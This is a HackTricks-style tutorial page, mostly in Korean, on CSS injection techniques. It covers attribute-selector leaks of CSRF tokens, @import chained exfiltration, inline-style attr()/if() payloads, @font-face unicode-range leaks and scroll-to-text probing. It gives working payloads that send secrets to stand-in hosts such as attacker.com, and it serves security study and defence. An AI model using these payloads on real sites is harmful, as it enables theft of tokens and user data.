CSS Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

CSS Injection

LESS Code Injection

LESS๋Š” ๋ณ€์ˆ˜, mixin, ํ•จ์ˆ˜์™€ ๊ฐ•๋ ฅํ•œ @import ์ง€์‹œ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ธ๊ธฐ ์žˆ๋Š” CSS ์ „์ฒ˜๋ฆฌ๊ธฐ์ž…๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ๊ณผ์ •์—์„œ LESS ์—”์ง„์€ @import ๋ฌธ์—์„œ ์ฐธ์กฐ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  (inline) ์˜ต์…˜์ด ์‚ฌ์šฉ๋  ๋•Œ ๊ทธ ๋‚ด์šฉ์„ ๊ฒฐ๊ณผ CSS์— ์ธ๋ผ์ธ์œผ๋กœ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค.

{{#ref}} less-code-injection.md {{/ref}}

Attribute Selector

CSS selectors๋Š” input ์š”์†Œ์˜ name ๋ฐ value ์†์„ฑ ๊ฐ’๊ณผ ์ผ์น˜ํ•˜๋„๋ก ์ž‘์„ฑ๋ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ input ์š”์†Œ์˜ value ์†์„ฑ์ด ํŠน์ • ๋ฌธ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด, ๋ฏธ๋ฆฌ ์ •์˜๋œ ์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

ํ•˜์ง€๋งŒ ์ด ๋ฐฉ๋ฒ•์€ hidden input ์š”์†Œ (type=โ€œhiddenโ€)๋ฅผ ๋‹ค๋ฃฐ ๋•Œ ์ œํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ˆจ๊ฒจ์ง„ ์š”์†Œ๋Š” ๋ฐฐ๊ฒฝ์„ ๋กœ๋“œํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์ˆจ๊ฒจ์ง„ ์š”์†Œ ์šฐํšŒ

์ด ์ œํ•œ์„ ์šฐํšŒํ•˜๋ ค๋ฉด ~ general sibling combinator๋ฅผ ์‚ฌ์šฉํ•ด ์ดํ›„์˜ ํ˜•์ œ ์š”์†Œ๋ฅผ ํƒ€๊นƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด CSS ๊ทœ์น™์ด hidden input ์š”์†Œ ๋’ค์— ์˜ค๋Š” ๋ชจ๋“  ํ˜•์ œ ์š”์†Œ์— ์ ์šฉ๋˜์–ด ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

์ด ๊ธฐ์ˆ ์„ ์•…์šฉํ•œ ์‹ค์ „ ์˜ˆ์‹œ๋Š” ์ œ๊ณต๋œ ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์— ์ž์„ธํžˆ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. You can view it here.

CSS Injection์˜ ์‚ฌ์ „ ์š”๊ตฌ์‚ฌํ•ญ

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS Injection ๋ฒกํ„ฐ๋Š” ์กฐ์ž‘๋œ ์„ ํƒ์ž๋“ค์„ ๋‹ด์„ ์ˆ˜ ์žˆ์„ ๋งŒํผ ์ถฉ๋ถ„ํžˆ ๊ธด payload๋ฅผ ์ง€์›ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  2. CSS Re-evaluation: ํŽ˜์ด์ง€๋ฅผ iframe์œผ๋กœ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” ์ƒˆ๋กœ ์ƒ์„ฑ๋œ payload๋กœ CSS์˜ ์žฌํ‰๊ฐ€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  3. External Resources: ์ด ๊ธฐ๋ฒ•์€ ์™ธ๋ถ€์— ํ˜ธ์ŠคํŒ…๋œ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ์ „์ œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์‚ฌ์ดํŠธ์˜ Content Security Policy (CSP)์— ์˜ํ•ด ์ œํ•œ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Blind Attribute Selector

As explained in this post, ์„ ํƒ์ž :has์™€ :not์„ ๊ฒฐํ•ฉํ•˜๋ฉด ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์—†๋Š” ์š”์†Œ(๋ธ”๋ผ์ธ๋“œ ์š”์†Œ)์—์„œ๋„ ์ฝ˜ํ…์ธ ๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” CSS injection์„ ๋กœ๋“œํ•˜๋Š” ์›น ํŽ˜์ด์ง€ ๋‚ด๋ถ€์— ๋ฌด์—‡์ด ์žˆ๋Š”์ง€ ์ „ํ˜€ ๋ชจ๋ฅผ ๋•Œ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.\
๋™์ผํ•œ ์œ ํ˜•์˜ ์—ฌ๋Ÿฌ ๋ธ”๋ก์—์„œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐ์—๋„ ํ•ด๋‹น ์„ ํƒ์ž๋“ค์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

์ด๊ฒƒ์„ ๋‹ค์Œ์˜ @import ๊ธฐ๋ฒ•๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด, blind ํŽ˜์ด์ง€์—์„œ CSS injection์„ ์‚ฌ์šฉํ•ด ๋งŽ์€ info๋ฅผ exfiltrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค blind-css-exfiltration.

@import

์ด์ „ ๊ธฐ๋ฒ•์—๋Š” ๋ช‡ ๊ฐ€์ง€ ๋‹จ์ ์ด ์žˆ์œผ๋‹ˆ, prerequisites๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๋‹น์‹ ์€ ํ”ผํ•ด์ž์—๊ฒŒ ์—ฌ๋Ÿฌ ๋งํฌ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๊ฑฐ๋‚˜, ๋˜๋Š” CSS injection ์ทจ์•ฝ ํŽ˜์ด์ง€๋ฅผ iframeํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜, ๊ธฐ์ˆ ์˜ ํ’ˆ์งˆ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด CSS @import ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ์˜๋ฆฌํ•œ ๊ธฐ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ ์ฒ˜์Œ์œผ๋กœ Pepe Vila ๊ฐ€ ๋ณด์—ฌ์คฌ์œผ๋ฉฐ, ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

์ด์ „์ฒ˜๋Ÿผ ๋™์ผํ•œ ํŽ˜์ด์ง€๋ฅผ ๋งค๋ฒˆ ์ˆ˜์‹ญ ๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ payload๋กœ ๋ฐ˜๋ณตํ•ด์„œ ๋กœ๋“œํ•˜๋Š” ๋Œ€์‹  (์ด์ „ ์‚ฌ๋ก€์ฒ˜๋Ÿผ), ์šฐ๋ฆฌ๋Š” ํŽ˜์ด์ง€๋ฅผ ํ•œ ๋ฒˆ๋งŒ ๋กœ๋“œํ•˜๊ณ  load the page just once and just with an import to the attackers server (์ด๊ฒƒ์ด ํ”ผํ•ด์ž์—๊ฒŒ ๋ณด๋‚ผ payload์ž…๋‹ˆ๋‹ค):

@import url("//attacker.com:5001/start?");
  1. import๋Š” ๊ณต๊ฒฉ์ž๋กœ๋ถ€ํ„ฐ ์ผ๋ถ€ CSS ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  2. ๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด๋‚ผ CSS ์Šคํฌ๋ฆฝํŠธ์˜ ์ฒซ ๋ฒˆ์งธ ๋ถ€๋ถ„์€ ๋‹ค์‹œ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ์˜ ๋˜ ๋‹ค๋ฅธ @import์ž…๋‹ˆ๋‹ค.
  3. ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋Š” ์•„์ง ์ด ์š”์ฒญ์— ์‘๋‹ตํ•˜์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ๋ช‡ ๊ฐœ์˜ ๋ฌธ์ž๋ฅผ leakํ•œ ํ›„ ์ด import์— ๋Œ€ํ•ด ๋‹ค์Œ ๋ฌธ์ž๋“ค์„ leakํ•˜๊ธฐ ์œ„ํ•œ payload๋กœ ์‘๋‹ตํ•˜๊ธฐ๋ฅผ ์›ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  4. payload์˜ ๋‘ ๋ฒˆ์งธ์ด์ž ๋” ํฐ ๋ถ€๋ถ„์€ attribute selector leakage payload๊ฐ€ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค
  5. ์ด๊ฒƒ์€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๋น„๋ฐ€์˜ ์ฒซ ๋ฒˆ์งธ ๋ฌธ์ž์™€ ๋งˆ์ง€๋ง‰ ๋ฌธ์ž๋ฅผ ์ „์†กํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค
  6. ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๊ฐ€ ๋น„๋ฐ€์˜ ์ฒซ ๋ฒˆ์งธ์™€ ๋งˆ์ง€๋ง‰ ๋ฌธ์ž๋ฅผ ์ˆ˜์‹ ํ•˜๋ฉด, 2๋‹จ๊ณ„์—์„œ ์š”์ฒญ๋œ import์— ์‘๋‹ตํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  7. ์‘๋‹ต์€ 2, 3, 4๋‹จ๊ณ„์™€ ์ •ํ™•ํžˆ ๋™์ผํ•  ๊ฒƒ์ด์ง€๋งŒ, ์ด๋ฒˆ์—๋Š” ๋น„๋ฐ€์˜ ๋‘ ๋ฒˆ์งธ ๋ฌธ์ž์™€ ๋์—์„œ ๋‘ ๋ฒˆ์งธ ๋ฌธ์ž๋ฅผ ์ฐพ์œผ๋ ค๊ณ  ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” f๊ทธ ๋ฃจํ”„๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉฐ ๋น„๋ฐ€์„ ์™„์ „ํžˆ leakํ•  ๋•Œ๊นŒ์ง€ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

You can find the original Pepe Vilaโ€™s code to exploit this here or you can find almost the same code but commented here.

Tip

The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

css /* value^= to match the beggining of the value*/ input[value^=โ€œ0โ€] { โ€“s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=โ€œfโ€] { โ€“e0: url(http://localhost:5001/leak?post=f); }

This allows the script to leak the secret faster.

Warning

Sometimes the script doesnโ€™t detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No worries, just check the ์ถœ๋ ฅ because you can see the flag there.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an elementโ€™s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: control an elementโ€™s style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
  • Read: copy the attribute into a CSS variable: โ€“val: attr(title).
  • Decide: select a URL using nested conditionals comparing the variable with string candidates: โ€“steal: if(style(โ€“val:โ€œ1โ€): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(โ€“steal)) (or any fetching property) to force a request to the chosen endpoint.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

์ž‘๋™ํ•˜๋Š” payload (๋น„๊ต ์‹œ ์Œ๋”ฐ์˜ดํ‘œ ํ•„์š”):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

์ค‘์ฒฉ๋œ ์กฐ๊ฑด๋ฌธ์„ ์‚ฌ์šฉํ•œ ์†์„ฑ ๊ฐ’ ์—ด๊ฑฐ:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

ํ˜„์‹ค์ ์ธ ๋ฐ๋ชจ (์‚ฌ์šฉ์ž ์ด๋ฆ„ ํƒ์ƒ‰):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • ์—ฐ๊ตฌ ์‹œ์ ์—๋Š” Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž‘๋™ํ•จ; ๋‹ค๋ฅธ ์—”์ง„์—์„œ๋Š” ๋™์ž‘์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Œ.
  • ์œ ํ•œ/์—ด๊ฑฐ ๊ฐ€๋Šฅํ•œ ๊ฐ’ ๊ณต๊ฐ„(IDs, flags, ์งง์€ ์‚ฌ์šฉ์ž๋ช… ๋“ฑ)์— ๊ฐ€์žฅ ์ ํ•ฉ. ์™ธ๋ถ€ ์Šคํƒ€์ผ์‹œํŠธ ์—†์ด ์ž„์˜์˜ ๊ธด ๋ฌธ์ž์—ด์„ ํ›”์น˜๋Š” ๊ฒƒ์€ ์—ฌ์ „ํžˆ ์–ด๋ ค์›€.
  • URL์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ชจ๋“  CSS ์†์„ฑ์€ ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Œ (์˜ˆ: background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

DOM ์ผ๋ถ€์— ์ ‘๊ทผํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•(CSS selectors):

  • .class-to-search:nth-child(2): DOM์—์„œ class๊ฐ€ โ€œclass-to-searchโ€œ์ธ ๋‘ ๋ฒˆ์งธ ํ•ญ๋ชฉ์„ ์ฐพ์Œ.
  • :empty selector: Used for example in this writeup:

css [role^=โ€œimgโ€][aria-label=โ€œ1โ€]:empty { background-image: url(โ€œYOUR_SERVER_URL?1โ€); }

์ฐธ๊ณ : CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

์ „์ฒด ๋ชฉ์ ์€ ์ œ์–ด๋˜๋Š” ์—”๋“œํฌ์ธํŠธ์—์„œ ์ปค์Šคํ…€ ํฐํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ํ…์ŠคํŠธ(์ด ๊ฒฝ์šฐ, โ€˜Aโ€™)๊ฐ€ ์ง€์ •๋œ ๋ฆฌ์†Œ์Šค(favicon.ico)๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์—†์„ ๋•Œ์—๋งŒ ์ด ํฐํŠธ๋กœ ํ‘œ์‹œ๋˜๋„๋ก ๋ณด์žฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. ์ปค์Šคํ…€ ํฐํŠธ ์‚ฌ์šฉ:
  • ์„น์…˜์˜
  • ํฐํŠธ ์ด๋ฆ„์€ poc์ด๋ฉฐ ์™ธ๋ถ€ ์—”๋“œํฌ์ธํŠธ(http://attacker.com/?leak)์—์„œ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • unicode-range ์†์„ฑ์€ U+0041๋กœ ์„ค์ •๋˜์–ด ํŠน์ • ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž โ€™Aโ€™๋ฅผ ํƒ€๊นƒํŒ…ํ•ฉ๋‹ˆ๋‹ค.
  1. ๋Œ€์ฒด ํ…์ŠคํŠธ๊ฐ€ ์žˆ๋Š” ์š”์†Œ:
  • ์„น์…˜์— id="poc0"์ธ ์š”์†Œ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ์š”์†Œ๋Š” http://192.168.0.1/favicon.ico์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๋ ค ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ์š”์†Œ์˜ font-family๋Š”
  • ๋ฆฌ์†Œ์Šค(favicon.ico)๋ฅผ ๋กœ๋“œํ•˜์ง€ ๋ชปํ•˜๋ฉด ํƒœ๊ทธ ๋‚ด๋ถ€์˜ ๋Œ€์ฒด ์ฝ˜ํ…์ธ (๋ฌธ์ž โ€˜Aโ€™)๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.
  • ์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์—†์„ ๊ฒฝ์šฐ ๋Œ€์ฒด ์ฝ˜ํ…์ธ (โ€˜Aโ€™)๋Š” ์ปค์Šคํ…€ ํฐํŠธ poc๋กœ ๋ Œ๋”๋ง๋ฉ๋‹ˆ๋‹ค.

Scroll-to-Text Fragment ์Šคํƒ€์ผ๋ง

:target ์˜์‚ฌ ํด๋ž˜์Šค๋Š” CSS Selectors Level 4 specification์— ๋ช…์‹œ๋œ ๋Œ€๋กœ URL fragment๋กœ ํƒ€๊นƒํŒ…๋œ ์š”์†Œ๋ฅผ ์„ ํƒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ::target-text๋Š” ํ”„๋ž˜๊ทธ๋จผํŠธ๊ฐ€ ํ…์ŠคํŠธ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ํƒ€๊นƒํŒ…ํ•˜์ง€ ์•Š๋Š” ํ•œ ์–ด๋–ค ์š”์†Œ๋„ ๋งค์นญํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ Scroll-to-text fragment ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋ฉด ๋ณด์•ˆ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” HTML injection์„ ํ†ตํ•ด ์ž์‹ ์˜ ์„œ๋ฒ„์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ๋ถˆ๋Ÿฌ์™€ ์›นํŽ˜์ด์ง€์— ํŠน์ • ํ…์ŠคํŠธ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ CSS ๊ทœ์น™์„ ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

:target::before {
content: url(target.png);
}

์ด๋Ÿฌํ•œ ์ƒํ™ฉ์—์„œ ํŽ˜์ด์ง€์— โ€œAdministratorโ€œ๋ผ๋Š” ํ…์ŠคํŠธ๊ฐ€ ์กด์žฌํ•˜๋ฉด, ๋ฆฌ์†Œ์Šค target.png๊ฐ€ ์„œ๋ฒ„๋กœ ์š”์ฒญ๋˜์–ด ํ•ด๋‹น ํ…์ŠคํŠธ์˜ ์กด์žฌ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์˜ ์˜ˆ๋Š” ์ฃผ์ž…๋œ CSS์™€ Scroll-to-text fragment๋ฅผ ํ•จ๊ป˜ ํฌํ•จํ•˜๋Š” ํŠน์ˆ˜ ์ œ์ž‘๋œ URL์„ ํ†ตํ•ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

์—ฌ๊ธฐ์„œ๋Š” HTML injection์„ ์กฐ์ž‘ํ•˜์—ฌ CSS ์ฝ”๋“œ๋ฅผ ์ „์†กํ•˜๊ณ , Scroll-to-text fragment (#:~:text=Administrator)๋ฅผ ํ†ตํ•ด ํŠน์ • ํ…์ŠคํŠธ โ€œAdministratorโ€œ๋ฅผ ๊ฒจ๋ƒฅํ•ฉ๋‹ˆ๋‹ค. ํ…์ŠคํŠธ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ์ง€์ •๋œ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋กœ๋“œ๋˜์–ด ๊ณต๊ฒฉ์ž์—๊ฒŒ ๊ทธ ์กด์žฌ๋ฅผ ๋ฌด์‹ฌ์ฝ” ์•Œ๋ฆฝ๋‹ˆ๋‹ค.

์™„ํ™” ๋ฐฉ์•ˆ์œผ๋กœ ๋‹ค์Œ ์‚ฌํ•ญ์„ ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF)์€ ๋‹จ์–ด ๋˜๋Š” ๋ฌธ์žฅ๋งŒ ๋งค์นญํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์–ด ์ž„์˜์˜ ๋น„๋ฐ€๊ฐ’์ด๋‚˜ ํ† ํฐ์„ leakํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค.
  2. Restriction to Top-level Browsing Contexts: STTF๋Š” ์ตœ์ƒ์œ„ ๋ธŒ๋ผ์šฐ์ง• ์ปจํ…์ŠคํŠธ์—์„œ๋งŒ ๋™์ž‘ํ•˜๋ฉฐ iframes ๋‚ด์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ์–ด๋–ค exploitation ์‹œ๋„๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ๋” ๋ˆˆ์— ๋„๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
  3. Necessity of User Activation: STTF๋Š” ๋™์ž‘์„ ์œ„ํ•ด user-activation gesture๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ, exploitations๋Š” ์˜ค์ง ์‚ฌ์šฉ์ž๊ฐ€ ์‹œ์ž‘ํ•œ ๋„ค๋น„๊ฒŒ์ด์…˜์„ ํ†ตํ•ด์„œ๋งŒ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด ์š”๊ตฌ์‚ฌํ•ญ์€ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ๊ณต๊ฒฉ์ด ์ž๋™ํ™”๋  ์œ„ํ—˜์„ ์ƒ๋‹นํžˆ ์™„ํ™”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ธ”๋กœ๊ทธ ๊ธ€์˜ ์ €์ž๋Š” social engineering, ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” browser extensions์™€์˜ ์ƒํ˜ธ์ž‘์šฉ ๋“ฑ ๊ณต๊ฒฉ ์ž๋™ํ™”๋ฅผ ์šฉ์ดํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • ์กฐ๊ฑด๊ณผ ์šฐํšŒ ๋ฐฉ๋ฒ•์„ ์ง€์ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜๊ณผ ์ž ์žฌ์  ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ธ์‹์€ ์›น ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ณ  ์ด๋Ÿฌํ•œ exploitative tactics์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

ํŠน์ • unicode ๊ฐ’์— ๋Œ€ํ•ด ์™ธ๋ถ€ ํฐํŠธ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น unicode ๊ฐ’์ด ํŽ˜์ด์ง€์— ์กด์žฌํ•  ๋•Œ์—๋งŒ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch โ€œ?Aโ€ and โ€œ?Bโ€ because text node of sensitive-information contains โ€œAโ€ and โ€œBโ€ characters. But Chrome and Firefox do not fetch โ€œ?Cโ€ because it does not contain โ€œCโ€. This means that we have been able to read โ€œAโ€ and โ€œBโ€.

Text node exfiltration (I): ligatures

์ฐธ๊ณ : Wykradanie danych w ล›wietnym stylu โ€“ czyli jak wykorzystaฤ‡ CSS-y do atakรณw na webaplikacjฤ™

